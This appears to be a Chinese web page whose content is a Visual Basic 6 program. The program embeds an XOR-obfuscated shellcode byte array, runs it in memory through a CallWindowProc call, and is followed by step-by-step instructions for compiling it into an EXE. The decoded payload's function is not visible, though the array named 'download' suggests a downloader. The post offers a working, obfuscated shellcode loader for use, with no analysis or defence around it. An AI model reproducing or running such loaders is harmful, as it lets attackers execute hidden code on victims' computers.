注册
登录
| 关键词： HFE ByVal HA 75 download HFD Long HF ShellCode nbsp |
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As LongSub Main()Dim ShellCodeDim download() As ByteShellCode = Array(&HEB, &HE, &H5B, &H4B, &H33, &HC9, &HB1, &H9B, &H80, &H34, &HB, &HFE, &HE2, &HFA, &HEB, &H5, &HE8, &HED, &HFF, &HFF, &HFF, &H17, &H7B, &HFE, &HFE, &HFE, &HA1, &H9A, &H5F, &HCE, &HFE, &HFE, &HFE, &H75, &HBE, &HF2, &H75, &H8E, &HE2, &H53, &H75, &H96, &HF6, &H75, &H9, &H94, &HFC, &HA7, &H16, &HDB, &HFE, &HFE, &HFE, &H1C, &H7, &H96, &HCD, &HCC, &HFE, &HFE, &H96, &H8B, &H8D, &H9B, &H8C, &HAA, &H1, &HE8, &H75, &H16, &H94, &HFF, &HA7, &H16, &HF2, &HFE, &HFE, &HFE, &H1C, &H7, &HAF, &HA9, &HA9, &HAF, &H1, &HA8, &HF6, &H1, &HA8, &HFA, &HAF, &HA8, &H75, &H8B, &HC2, &H75, &H8A, &HD0, &H86, &HFD, &HB, &HA8, &H75, &H88, &HDE, &HFD, &HB, &HCD, &H37, &HB7, &HBF, &H53, &HFD, &H3B, &HCD, &H25, &HF1, &H40, &HEE, &HC4, &H28, &H8A, &HF6, &H3F, &H35, &HF9, &HFD, &H24, &HBE, &H15, &HF, &HC5, &HE1, &H8B, &H19, &HA0, &H75, &HA0, &HDA, &HFD, &H23, &H98, &H75, &HF2, &HB5, &H75, &HA0, &HE2, &HFD, &H23, &H75, &HFA, &H75, &HFD, &H3B, &H55, &HA0, &HA7, &H3D, &H16, &H88, &H1, &H1, &H1, &HCC, &H8A, &H6F, &HF2) ReDim download(UBound(ShellCode)) For i = 0 To UBound(ShellCode) download(i) = ShellCode(i)Next CallWindowProc VarPtr(download(0)), ByVal 0&, ByVal 0&, ByVal 0&, ByVal 0& End Sub 编译步骤记录一下： 1.建立标准exe 2.删掉窗体 3.增加模块 4.粘贴代码 5.生成exe |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
